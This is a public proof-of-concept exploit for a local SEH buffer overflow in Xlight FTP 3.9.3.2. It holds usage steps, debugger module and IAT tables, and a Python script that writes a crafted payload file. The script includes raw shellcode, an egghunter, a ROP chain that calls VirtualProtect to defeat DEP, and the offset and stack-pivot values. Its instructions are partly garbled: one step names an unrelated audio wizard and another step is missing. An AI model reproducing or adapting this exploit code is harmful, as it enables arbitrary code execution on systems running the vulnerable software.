Xlight FTP 3.9.3.2 Buffer Overflow Exploit

# Exploit Title: Xlight FTP v3.9.3.2 - Buffer Overflow (SEH Egghunter + ROP)
# Exploit Author: Hejap Zairy
# Software Link:   http://www.xlightftpd.com/download/setup.exe
# Tested Version: v3.9.3.2(2022-1-5) 
# Tested on: Windows 10 64bit

# 1.- Run python code : 0day-Hejap_Zairy.py
# 2.- Open 0day_Hejap.txt and copy All content to Clipboard
# 3.- Open Audio Conversion Wizard and press Enter Code
# 5.- Click 'Server ip ' -> 'General' -> 'Advanced' -> 'Excute a program after user logged in ' -> 'Setup'
# 6.- Crashed


# Author  Code By Hejap Zairy
#!/usr/bin/env python
# Auther Hejap Zairy 
#!/usr/bin/env python
import struct


##================================================================================
##  2022-03-12 16:54:06
##================================================================================
##-----------------------------------------------------------------------------------------------------------------------------------------
## Module info :
##-----------------------------------------------------------------------------------------------------------------------------------------
## Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
##-----------------------------------------------------------------------------------------------------------------------------------------
## 0x76aa0000 | 0x76ae4000 | 0x00044000 | True   | True    | True  |  False   | True   | 10.0.17763.1 [SHLWAPI.dll] (C:\Windows\System32\SHLWAPI.dll)
## 0x76970000 | 0x76a93000 | 0x00123000 | True   | True    | True  |  False   | True   | 10.0.17763.1490 [ucrtbase.dll] (C:\Windows\System32\ucrtbase.dll)
## 0x766a0000 | 0x766bc000 | 0x0001c000 | True   | True    | True  |  False   | True   | 10.0.17763.1075 [profapi.dll] (C:\Windows\System32\profapi.dll)
## 0x76340000 | 0x763c0000 | 0x00080000 | True   | True    | True  |  False   | True   | 10.0.17763.1 [msvcp_win.dll] (C:\Windows\System32\msvcp_win.dll)
## 0x75680000 | 0x757ea000 | 0x0016a000 | True   | True    | True  |  False   | True   | 10.0.17763.1879 [gdi32full.dll] (C:\Windows\System32\gdi32full.dll)
## 0x75a60000 | 0x75bfe000 | 0x0019e000 | True   | True    | True  |  False   | True   | 10.0.17763.1 [CRYPT32.dll] (C:\Windows\System32\CRYPT32.dll)
## 0x74ff0000 | 0x74fff000 | 0x0000f000 | True   | True    | True  |  False   | True   | 10.0.17763.1 [kernel.appcore.dll] (C:\Windows\System32\kernel.appcore.dll)
## 0x00400000 | 0x006d5000 | 0x002d5000 | False  | False   | False |  False   | False  | 3.9.3.2 [xlight.exe] (C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
## 0x74870000 | 0x74909000 | 0x00099000 | True   | True    | True  |  False   | True   | 10.0.17763.1075 [ODBC32.dll] (C:\Windows\SYSTEM32\ODBC32.dll)
## 0x74b20000 | 0x74bbc000 | 0x0009c000 | True   | True    | True  |  False   | True   | 10.0.17763.1 [apphelp.dll] (C:\Windows\SYSTEM32\apphelp.dll)
## 0x76280000 | 0x76297000 | 0x00017000 | True   | True    | True  |  False   | True   | 10.0.17763.1 [win32u.dll] (C:\Windows\System32\win32u.dll)
## 0x75c50000 | 0x761a6000 | 0x00556000 | True   | True    | True  |  False   | True   | 10.0.17763.1911 [SHELL32.dll] (C:\Windows\System32\SHELL32.dll)


##0x006d4270 : kernel32.loadlibrarya | 0x76ce2280 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
##0x006d4258 : comdlg32.getopenfilenamea | 0x77226240 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
##0x006d427c : kernel32.virtualprotect | 0x76ce0c10 | startnull,asciiprint,ascii {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
##0x006d4278 : kernel32.getprocaddress | 0x76ce05a0 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
# RopFunc syscall  null 
badchars = [0x00,0x0a,0x0d,0x3a,0xff]

buf =  b""
buf += b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
buf += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
buf += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
buf += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
buf += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
buf += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
buf += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
buf += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
buf += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
buf += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
buf += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\xef"
buf += b"\xce\xe0\x60\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
buf += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
buf += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
buf += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
buf += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"
buf += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"
buf += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x61\x69\x72"
buf += b"\x79\x68\x61\x70\x20\x5a\x68\x20\x48\x65\x6a\x68\x30"
buf += b"\x64\x61\x79\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2"
buf += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"


def Hejap_rop_chain():

    Hejap_gadgets = [
      0x75c4f468,  # POP EBX # RETN [windows.storage.dll] ** REBASED ** ASLR 
      0x7731c2a0,  # ptr to &VirtualProtect() [IAT CRYPT32.dll] ** REBASED ** ASLR
      0x75deb176,  # MOV ESI,DWORD PTR DS:[EBX] # RETN [windows.storage.dll] ** REBASED ** ASLR 
      #[---INFO:gadgets_to_set_ebp:---]
      0x7545eebb,  # POP EBP # RETN [SHLWAPI.dll] ** REBASED ** ASLR 
      0x75ff2bdb,  # & call esp [msvcp_win.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_ebx:---]
      0x755d53b2,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x74d241d7,  # NEG EAX # RETN [USER32.dll] ** REBASED ** ASLR 
      0x75e72ff1,  # XCHG EAX,EBX # RETN [windows.storage.dll] ** REBASED ** ASLR 
      #[---INFO:gadgets_to_set_edx:---]
      0x765a2dad,  # POP EAX # RETN [bcryptPrimitives.dll] ** REBASED ** ASLR 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x75297b65,  # NEG EAX # RETN [gdi32full.dll] ** REBASED ** ASLR 
      0x76a3b05a,  # XCHG EAX,EDX # RETN [SHELL32.dll] ** REBASED ** ASLR 
      #[---INFO:gadgets_to_set_ecx:---]
      0x72bb29ef,  # POP ECX # RETN [UXTHEME.DLL] ** REBASED ** ASLR 
      0x7774f16b,  # &Writable location [ntdll.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_edi:---]
      0x77275d3d,  # POP EDI # RETN [CRYPT32.dll] ** REBASED ** ASLR 
      0x75849686,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_eax:---]
      0x72bf2465,  # POP EAX # RETN [UXTHEME.DLL] ** REBASED ** ASLR 
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x76a37959,  # PUSHAD # RETN [SHELL32.dll] ** REBASED ** ASLR 
    ]
    return ''.join(struct.pack('<I', _) for _ in Hejap_gadgets)

egg = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egg+="\xef\xb8\x68\x30\x30\x70\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
rop_chain = Hejap_rop_chain()
offset = 452
nseh = "\x90" * 4  
junk = "A" * (offset - len(nseh))
stackpivot = struct.pack('<I', 0x8e648b26 )  # POP ESP # POP EBP # RETN    ** [xlight.exe
#seh = struct.pack('<I', 0x0019ccb8 ) null

buffer = junk + nseh  +  stackpivot + rop_chain  +  "\x90" * 5 +  egg   + 'h00ph00p' + buf + "\x90" * (1000 - len(egg)-len(stackpivot))
f = open("0day_hejap.txt", "w")
f.write(buffer)
f.close()


# Proof and Exploit:
https://i.imgur.com/jMURHQF.png
https://i.imgur.com/aw6hZo2.png
#Video
https://streamable.com/gmqz5x